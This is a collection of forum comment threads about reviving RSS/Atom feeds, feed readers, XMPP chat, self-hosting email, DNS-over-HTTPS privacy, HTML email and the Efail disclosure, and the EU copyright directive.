1. 3

    I know this might be common knowledge here but still, I wrote this post couple days ago and think it might be useful for people who are using the Web through SaaS services only and are wondering about alternatives for RSS reading: http://andregarzia.com/2018/11/reading-blogs-with-thunderbird.html

    1. 2

      Thunderbird (and, appearently even MS Outlook as mentioned in another comment) have the advantage of being known to many users and often being installed on their systems. In particular, MS Outlook is part of MS Office and thus installed on many Windows systems. No additional software needed, unless you only use a web mail client. This should, indeed, be advertised much more and could be the starting point of moving RSS more into the users’ view again.

    1. 1

      For those that still believe in RSS, and are looking for a nice client, I suggest… your email client

      I built Feenbox a few years ago in between jobs but never got to releasing it. It’s kinda slow, started as a multiuser layer on top of rss2email but now it has its own codebase.

      I’ve been using it in production along with a few friends without a hiccup on a very cheap machine on Digitalocean. I still hope to release it someday with a quick stripe integration for a couple bucks a month, just to pay the machine and make some beer money.

      Anyway, if you want an invite let me know. It’s free right now and will continue like this until the day I launch the service, which may be never.

      Please don’t post it on HN or Reddit, I can’t manage more than 5-10 new users as I’m super busy at my current job, the system doesn’t scale yet, and I’m not ready to receive payments due to taxes, GDPR etc. Feedback will be welcome – though keep in mind it’s a simple solution to my own itch.

      1. 2

        I too think that email clients make a wonderful RSS reader. In the case of Thunderbird, it supports RSS natively as I mentioned in another comment

        1. 2

          As does MS Outlook (if you are a Windows user)

          1. 2

            I didn’t knew that, thanks for sharing.

        2. 1

          Personally, I consume news feeds quite different from e-mail, so something like that does not work for me. I’m an elfeed user and make heavy use of its tagging feature so I can manage dozens of feeds by now, using the tags to show those entries that belong to what I am currently at. I’ve never been so happy with feed reading before.

          I’d actually need the inverse from rss2email: an email2rss gateway. There are websites that don’t provide an RSS/Atom feed, but only an e-mail newsletter. That conflicts with my way to consume news. Is something like that available?

          1. 1

            Interesting. I built something similar for personal use (using offlineimap and a scraper).

            Does Feenbox do anything to handle partial feeds (that is, feeds that truncate articles, making you go to the site to get the rest of the content)?

            1. 1

              No, it provides the feed content as-is (plus attachments), but that’s a great feature request!

              However, I’m not sure how to solve that. Compare the CDATA content against the guid url page content? That would require an extra HTTP request plus post-processing per feed item, which is not super bad, but extra overhead nonetheless

              1. 1

                I ended up storing a CSS selector alongside the feed URL.

                If a feed item has a valid URL, I extract everything matching the selector from that URL to replace the CDATA content. If nothing matches or the HTTP fetch fails, I mark it as un-processed and try again later (at some point it’d be good to eventually give up and send the original, but for my purposes this is alright for now).

          1. 5

            I feel like I’ve read a thousand developer blogs that say the same thing. “RSS was good, we should use it, here are some resources”. I agree, but what’s there to actually do? Most blogs do still natively support RSS if they use any popular blogging framework.

            Podcasts are a platform that use RSS almost exclusively and they’re going strong - there are tons of high quality well-funded podcasts. Apple and Google continue to attempt to hijack the platform with something proprietary but RSS goes strong.

            So, what’s the point of this writeup? RSS exists, is good, and is in use. It’s also old and so unremarkable now that we take it for granted.

            1. 8

              I think the aim here is to educate the masses that there is a better way to consume their favourite websites. We should be evangelists and tell everyone we meet about how to setup an RSS client on their PC/Mac or phone (well not quite, but you get the idea).

              1. 3

                Most blogs do still natively support RSS if they use any popular blogging framework.

                Its use among content authors is deceasing. A number of websites I would like to syndicate don’t have RSS feeds. Examples include the Hamburg data protection authority’s website, my university faculty’s website, and, which I regret most, the European Commision’s website. All three of them publish news apart from their website only through social media. They are examples of why we need to keep Atom/RSS in mind of content authors.

              1. 4

                A while ago I wrote a similar writeup (targetting content authors) at https://mg.guelker.eu/saverss/ (was also on Lobste.rs) that isn’t as focuesd on “censorship” as the OP, but focuses on choice, relevance, and privacy. Let’s spread RSS/Atom again.

                1. 2

                  I’m going to give a prediction here. The ability to mess with the DNS is too important to let it go, so lawmakers are going to interfer with this effort. Profane example, completely remote from what DoH is supposedly to prevent: a copyright holder (rightly) wants to block an illegal site distributing pirated content. The typical way to achieve this is that the country’s ISPs are issued to suppress resolution of the corresponding DNS entry. With DoH, this isn’t going to be possible anymore. Thus, lawmakers are going to forbid its use in browsers with the argument that it hinders copyright protection.

                  Another point: I remember from somewhere that Mozilla wants to send all your DNS queries to Cloudflare. Since Cloudflare is a US-based company, Mozilla is effectively transferring all the DNS queries to the USA. Doing so requires some efforts under the EU GDPR regulation. I don’t want to go into the details here, but I do have doubts on what the legal ground for the transmission as such and the transmission specifically into the US is if Mozilla doesn’t want to ask each and every Firefox user for their consent. If the CJEU at some point cancels the “EU-US Privacy Shield” (likely), it’s going to get even harder to legalise the data transmission. And that not only if one suspects that the NSA is going to be highly interested in Cloudflare’s global DNS resolver.

                  With all that, I think that the honourable goal DoH sets out for will not be reached; the effort harms privacy more than it helps it by ringing lawmaker’s warning bells and provoking a collision with the GDPR.

                  1. 9

                    XMPP/Jabber almost exclusively. I use jmp.chat so that I can message SMS users, but it all goes through a single app/protocol from my perspective.

                    Benefits: single app for everything, works across all my devices (mobile, laptop, desktop, web client in a library). Extensible protocol means new features/workflows get added and I just get an upgraded experience without having to get all new app / convince any contacts to move.

                    1. 2

                      jmp.chat looks interesting, but sadly only offers North American phone numbers. I have been thinking whether to wire up something on my own with a custom ejabberd module using one of the several available SMS delivery providers. But I lack the time for such a project currently…

                      1. 1

                        If you have ideas for good delivery providers in your region, be sure to let us know!

                      2. 2

                        jmp.chat is realy cool! I’m in the UK, and I’d also be quite happy to just use my phone to forward SMS to XMPP, so I went hunting. I found projectmaxs.org which seems to do what I want, which was inspired by https://play.google.com/store/apps/details?id=com.googlecode.gtalksms

                        1. 1

                          I’m using your carbons addition to irssi-xmpp :-)

                        1. 1

                          Personal: XMPP, with a selfhosted ejabberd instance. I use Gajim on my laptop and Conversations on my phone.

                          Public: IRC on Freenode, with Weechat.

                          1. 2

                            How does it compare to weasyprint? I’m yet in search for the ideal solution to get HTML e-mail into a printable format without firing up firefox (I use mutt to read my e-mail, and occasionally need to print e-mails), but especially eBay’s automatic e-mails have broken pretty much every HTML renderer other than Firefox or webkit-based ones.

                            Before you ask why I print eBay e-mails. I’ve needed to sue an unwilling eBay buyer, and German courts will only accept printed documents.

                            1. 2

                              I haven’t run it with HTML emails yet, but as long as it looks decent when you visit about:reader?url= in Firefox (and possibly even if it doesn’t), you should be able to get a good PDF out of it. I guess the only advantage of sorts to percollate is that it uses Puppeteer (i.e. headless Chromium), so you should get all the perks of WebKit rendering.

                              The code itself is pretty basic (most of it is in index.js), so I hope anyone can use it as a starting point to build their own custom stuff by mixing and matching the libraries (jsdom, readability, puppeteer).

                            1. 5

                              I self-host since years on a VPS with Postfix and Dovecot, spamassassin and OpenDKIM. I do it mainly for two reasons: full control over the process (I make extensive use of Sieve scripts) and learning how the e-mail ecosystem operates. And privacy, esecpecially once I get to move the entire thing into my basement.

                              The main obstacle I have is actually that my e-mail is qualified as spam by large providers (most notably Microsoft-based services, especially outlook.com) without any reason I could identify. I do have a proper PTR reverse DNS record, I do have working SPF and DKIM. My IP is not blacklisted anywhere. I have come to the conclusion that there’s a policy at Microsoft that says that you’re spam if you’re not a large e-mail provider. For important e-mail, I always have to call or send a chat message to ensure the recipient checks his spam folder.

                              1. 2

                                I have come to the conclusion that there’s a policy at Microsoft that says that you’re spam if you’re not a large e-mail provider

                                This is the sort of thing I always worry about when I contemplate self-hosting.

                              1. 2

                                If I thought that the advertisers who keep trying to buy space on my blog (for link spam mostly) actually read my blog I might consider doing this.

                                1. 3

                                  I get e-mails like that too. I got one from Casper to write a review. I think and I gave them some outrageous number (like $5,000) and never heard back.

                                  Also the post you linked to from that post about e-mail and small business, I’ve got a pretty similar story:

                                  https://penguindreams.org/blog/how-google-and-microsoft-made-email-unreliable/

                                  There are services out there now like Sendgrid and Mailgun to at least help small businesses get mail out without it going to spam, or of course MailChip for mailing lists. I should really do a part II to that post at some point.

                                  1. 2

                                    I run my own mail server and I have seen all the problems described in the post. From a German law perspective, the behaviour shown by Google and Microsoft probably qualifies as illegal under § 4 Nr. 4 UWG (Act against unfair competition, English translation). If anyone reading this runs an e-mail-based business in Germany, you should consider challenging them for the sake of the free e-mail exchange.

                                1. 1

                                  Thank you for the planet. There seems to be about 100 blogs/feeds coming in to the planet. But the planet rss feed is just 100 items, most of which seem to come from just a couple of blogs that don’t have proper timestamps?

                                  1. 2

                                    Well spotted.. it wasn’t apparent yesterday but I just fixed an SSL problem and suddenly there are quite a few. I’ll remove any more I spot, but please, feel free to go crazy on pull requests :)

                                    edit: this is way more broken than I thought. Planet doesn’t seem to do anything about feeds that lack timestamp, which is surprising. Anyone got a recommendation for better software? The main value in this existing thing is the Travis setup and the list of feed URLs.

                                    edit: ok, I /think/ I’ve got it this time.. some bad settings in there, and squelching untimestamped feeds doesn’t happen after the first time they’re seen, so had to wipe the cache and start again

                                    1. 1

                                      I’m tempted to write something better, or at least help improve what you have currently got working :)

                                      1. 1

                                        I’ve once authored a planet generator named Uranus, but I don’t really maintain it anymore. It does have the advtange of not having any dependencies other than Ruby, though (no gems, just plain stdilb). There’s another planet generator named Pluto that is still maintained.

                                    1. 3

                                      Most of what I write is technical, but there’s just one problem… I usually blog in German. Anyway, here’s the URL:

                                      https://mg.guelker.eu/

                                      1. 8

                                        About analytics: You can do them on the server side by parsing your web logs! That used to be how everyone did it! Google Analytics popularized client side analytics using JavaScript around 2006 or so.

                                        Unfortunately I feel like a lot of the open source web analytics packages have atrophied from disuse. But I wrote some Python and R scripts to parse access.log and it works pretty well for my purposes.

                                        http://www.oilshell.org/ is basically what this article recommends, although I’m using both client-side and server-side analytics. I can probably get rid of the client-side stuff.

                                        related: http://bettermotherfuckingwebsite.com/ (I am a fan of narrow columns for readability)

                                        1. 4

                                          I agree, I used to use JAWStats a PHP web app that parsed and displayed the AWStats generated data files to provide visually appealing statistics a lot like Google analytics but entirely server side with data originating from apache/nginx log files.

                                          It’s a shame that it was last worked on in 2009. There was a fork called MAWStats but that hasn’t been updated in four years either :(

                                          For a while I self hosted my feed reader and web analytics via paid for apps, Mint and Fever by Shaun Inman but those where abandoned in 2006. It seems like all good software ends up dead sooner or later.

                                          1. 3

                                            Maybe the GDPR will give these project a new breath.

                                            They are much better for privacy aware people.

                                            1. 2

                                              It’s been on my list of projects to attempt for a while, but my static site generator Tapestry takes up most of my spare time.

                                          2. 4

                                            You want GoAccess. Maintained, and looks modern. Example. I’m using it and it has replaced AWStats for me completely.

                                            1. 2

                                              I currently use GoAccess myself, the only thing that would make the HTML reports better is seeing a calendar with visit counters against days.

                                          1. 7

                                            As usual with decentralized systems, the main problem I had was discovering good feeds. One could find stuff, if one knew what one was looking for, but most of the time these feeds only contain the first few lines of a article. And then again, there are other feeds that just post too much, making it impossible to keep up. Not everyone is coming to RSS/Atom which a precomposed list of pages and websites they read.

                                            These are the “social standards”, which I belive are just as important as the technical standards, which should have to be clarified in a post like this one.

                                            1. 6

                                              I agree. Finding good feeds is difficult indeed, but I believe that good content does spread by word at some point (it may even be word in social media, actually). Feeds that post too much are definitely a problem. Following RSS/Atom feeds of newspapers specifically defeats the purpose. Nobody can manage this hilarious amount of posts, often barely categorised. I don’t have a solution for these at hand; this article suggests that the standard should be improved on this. It might be a good idea to do so.

                                              Excerpt feeds I don’t like, because they are hard to search using the feed reader’s search facilities. I however still prefer an excerpt feed over no feed at all, which is why the article mentions this as a possible compromise. The main reason for excerpt feeds appears to be to draw people into the site owner’s Google Analytics.

                                              1. 3

                                                As far as unmanageably large&diverse sites go, I seem to recall at The Register you can/could run a search and then get an RSS feed for current and future results of that query. Combined with ways to filter on author etc. that worked a treat.

                                              2. 2

                                                the main problem I had was discovering good feeds

                                                This is why my killer feature (originally of GOOG Reader and now of NewsBlur) is a friends/sharing system. The value of shared content is deeply rooted in discovery of new feeds.

                                                feeds only contain the first few lines of a article

                                                Modern feed readers generally support making it easy to get full articles / stories without a context switch.

                                                feeds that just post too much, making it impossible to keep up

                                                Powerful filtration is also another place where modern readers have innovated. Would definitely check them out, because these are solved problems.

                                                1. 2

                                                  Can you recommend any specific readers?

                                                  1. 1

                                                    NewsBlur is pretty great. It’s a hosted service, rather than a local application, but that’s kind of necessary for the whole “sharing” thing.

                                                    1. 1

                                                      If you’re an emacs user: elfeed. It has pretty good filtering and each website can be tagged.

                                                      1. 1

                                                        I tried that for a while, but eventually I just couldn’t keep up. I never really have the time to read an article when I’m in Emacs, since usually I’m working on something.

                                                      2. 1

                                                        I have been quite pleased with NewsBlur. It has the added benefit of being open source, so if it were to disappear (cough, cough, GOOG Reader), it could easily be resurrected.

                                                        For the social aspect, of course, might want to poll friends first to see what they are on.

                                                  1. 5

                                                    So many comments here, I’m a little overwhelmed. Thanks to everyone <3

                                                    Something that crossed my mind: maybe it could be possible to join the RSS/Atom efforts with the efforts in the area of decentral social networks, like Mastodon? Forgive me, I’m not a Mastodon user (yet), but maybe there is some kind of possible integration… Maybe, if RSS/Atom feeds could be “followed” somehow?

                                                    1. 2

                                                      Working on it: https://getstream.io/blog/winds-2-0-its-time-to-revive-rss/ It’s not so easy though, it’s a vicious cycle. Less people use RSS, less publishers support RSS, RSS tools degrade in quality and so on.

                                                      You wouldn’t believe the number of if statements in the Winds codebase just to make RSS work (ish). The standard isn’t really much of a standard with everyone having small variations. Here’s an example, not all feeds implement the guid properly, so you end up with code like this: https://github.com/GetStream/Winds/blob/master/api/src/parsers/feed.js#L82

                                                      1. 1

                                                        Now, that looks like an interesting project. I have updated my SaveRSS page to include a link to Winds in the RSS clients section. You might also consider linking to the SaveRSS page for arguments on why to use RSS/Atom as a publisher.

                                                        Personally, the project isn’t for me, though. I’m a happy user of elfeed, but I can absolutely see how your project can benefit the RSS/Atom community.

                                                        1. 1

                                                          Dang, this bloatware is pushing 6k stars on github already. Nothing like an RSS reader that combines Electron, Mongo, Algolia, Redis, machine learning (!), and Sendgrid

                                                          1. 1

                                                            l

                                                            The goal is build an RSS powered experience that people will actually want to use. The tech stack is based around the idea of having a large group of people being able to contribute. (We use Go & RocksDB for most of our tech, so it was a very conscious move to use Node & Mongo for Winds to foster a wider community adoption)

                                                            1. 1

                                                              Makes sense. Thanks for the gracious reply, I feel bad about my grumpy comment.

                                                        1. 2

                                                          RSS was a great concept (and appropriate for its time), but was designed by people who didn’t comprehend XML namespaces, instead forcing implementations (both generators and readers) to escape XML and/or HTML tags, which requires multiple passes for generating and parsing feeds - with an intermediate encoding/decoding step (Really Simple?). They purportedly addressed this in RSS 2.0, but if you have a look at their RSS 2.0 example, they still got it wrong, persisting a 1990’s understanding of the web. Although I still use it, I shake my head in disappointment every time I see RSS source. RSS 2.0 should really have been based on something that could be validated, such as XHTML.

                                                          At this point, it is probably way too late for a comeback, as:

                                                          1. Social media platforms like Twitter are commonly used as a substitute and have a large hegemony over content.
                                                          2. Browsers have given up on RSS in favor of their own peculiar readers.
                                                          3. Google, Microsoft, Yandex and whatever Yahoo is now are pushing for an entirely different system based on extracting information from HTML content via an ever-changing pseudo-ontology that lacks definitions and is inconsistently employed by every practitioner.

                                                          You could read the above points as things that RSS should be able to overcome. If RSS were indeed to make a comeback, I would hope that in a new “RSS 3.0” incarnation it would satisfy the following criteria:

                                                          1. Standard comes before implementation (e.g., utilize existing standards).
                                                          2. Validatable (e.g., employ XML namespaces and utilize an XSD for document validation).
                                                          3. Human readable (i.e., subset of XHTML or HTML, that can be consistently rendered as in any modern web browser)
                                                          4. Strict specification (use a well-defined structure with a minimal tag set that prevents multiple interpretations of the specification).

                                                          I’ll admit, I do not like JSON one bit because it is antithetical to several, if not all of the above criteria. However, since a JSON alternative is desired, I would recommend that it be directly based on an XML/HTML version that does satisfy the above criteria. Then a simple XSL (read “standardized”) spreadsheet could be employed to generate the equivalent JSON version, satisfying both worlds.

                                                          1. 9

                                                            Doesn’t Atom fulfill your RSS 3 criteria?

                                                            1. 2

                                                              they still got it wrong, persisting a 1990’s understanding of the web. Although I still use it, I shake my head in disappointment every time I see RSS source. RSS 2.0 should really have been based on something that could be validated, such as XHTML.

                                                              Atom does fulfill your second list’s criteria, is often used today in place of RSS, and can even be validated. My article even says that if in doubt, use Atom.

                                                              Social media platforms like Twitter are commonly used as a substitute and have a large hegemony over content.

                                                              The entire point of the site is to set something against this before it is too late. Today, there still are many sites providing feeds, and I do hope that this article will sustain that. To be clear, I don’t advocate leaving social media. All I ask in that article is to provide a feed additionally to your social media presence.

                                                              Browsers have given up on RSS in favor of their own peculiar readers.

                                                              I’ve actually never used Firefox’ RSS/Atom support and I don’t believe that browsers are the correct target for RSS/Atom feeds. There are feed reader programs that deal specifically with feeds and they are still being maintained, so I don’t see browsers removing their feed support as problematic.

                                                              Google, Microsoft, Yandex and whatever Yahoo is now are pushing for an entirely different system

                                                              You listed yourself why it isn’t a real alternative.

                                                            1. 4

                                                              There’s also feed.json that serves the same purpose but using JSON instead of XML

                                                              https://jsonfeed.org

                                                              1. 20

                                                                In my opinion, jsonfeed is doing active harm. We need standardization, not fragmentation.

                                                                1. 2

                                                                  Well as long as people are just adding an additional feed, xml/rss + json. You can have two links in your headers. Over the course of time, all readers will probably add support and then it shouldn’t matter which format your RSS feed is in. That’s kinda how we got to where we are today.

                                                                2. 10

                                                                  How far spread is support for this in feed readers? RSS and Atom have a very broad support among feed readers, so unless there’s a compelling reason a working and widely supported standard shouldn’t be replaced just because of taste.

                                                                1. 2

                                                                  HTML email is problematic indeed. But entirely opting out of it is difficult. My favourite example is eBay; it’s automatic emails are just plain impossible to read without parsing the HTML.

                                                                  What bugs me on the discussion about Efail and HTML email is that it’s always an all-or-nothing discussion. Either you accept reality and live with HTML email or you reject it and go plain text. My opinion is that neither is the correct way. What we need is a new standard. A standard for formatted email that does not expose the difficulties and dangers of HTML email and allows more formatting than plain text. Before someone is going to mention this XKCD I want to point out that HTML email is not even a standard, which is part of the problem.

                                                                  I envision this new standard such that it allows things like this:

                                                                  • General markup – bold, italic, underline, etc.
                                                                  • Inline images based on image data sent with the email (not web images)
                                                                  • Letterhead with logo and legally required information; many companies try to abuse HTML email for this. If this is properly defined, then terminal clients can detect that information and simply not show it (e.g. omit the logo).

                                                                  The list is not complete, but there are certainly things that should never be on it. For example, this new standard should not allow embedding of remote resources for privacy and security reasons. Tracking pixels for example should be impossible, and without the ability to “phone home”, attacks like Efail are not possible. Similaryly, there’s no reason to allow script execution (like JavaScript) in e-mails.

                                                                  RFC 3676 (format=flowed) never got widely adapted, and not even Thunderbird gets it right appearently. It also doesn’t address the problem with markup.

                                                                  1. 3

                                                                    I don’t know if a new standard would be required, beyond just HTML. Nothing says that user agents must implement the whole HTML spec, including fetching remote resources, CSS, etc. Your stripped-down markup format could be implemented right now as a “stripped-down” HTML renderer. For example, I use Emacs and mu4e to read my email, which calls out to w3m to render the page as slightly prettified text (e.g. emphasis, underlines, etc. work; presumably using ANSI terminal escape codes). There’s no reason that’s limited to text though; I’d imagine it’s safe enough to render anything as long as (a) no external resources are fetched (everything must be included in the email, e.g. as MIME parts or data URIs) and (b) the result is inert (nothing clickable, nothing that interacts with external resources, etc.).

                                                                    From the sounds of it, this Efail problem would still pose a couple of problems, even if some new restricted markup format were used. Firstly, part of the trick seems to be a general problem with any delimited markup; e.g. one part contains <a href="... whilst another contains >. That would still be a problem with, say, [x](... and ) in markdown. Whilst it can be mitigated by escaping/quoting discipline, as the article mentions, that requires effort for every implementation. The other problem, exfiltration of decrypted data, seems to me like it would still be problematic for plain text. Even if we have an inert, non-clickable format, people will still want to visit URLs sent via email (e.g. password resets, etc.). Even if we show the entire URL, and force the user to copy/paste it by hand, it might not be obvious that decrypted data has been leaked. For example if it’s something machine-generated and nestled inside an innocuous looking parameter of an ‘unsubscribe’ URL. I’m not familiar enough with PGP, etc. to know how difficult it would be to outright forbid such things (e.g. forbidding mixed encrypted/non-encrypted messages entirely)

                                                                  1. 5

                                                                    Please note: this is not a terminal vote. The European Parliament in plenum will later on have to vote on the directive as a whole. As of now, it’s not in force nor even set to enter into force.

                                                                    Also please note that that it’s not a law (i.e. regulation in EU speak). It’s a directive. It requires member states to make laws in a certain fashion, and more often than not, there can be differences in each member state’s law based on the directive.

                                                                    And since appearently nobody cares to actually read what has been voted on, the voting document is available online on the EU parliament’s website. Art. 13 is mentioned under CA 14. Though to be honest I find this document confusing. If someone has a consolidated version available somewhere, a link would be nice.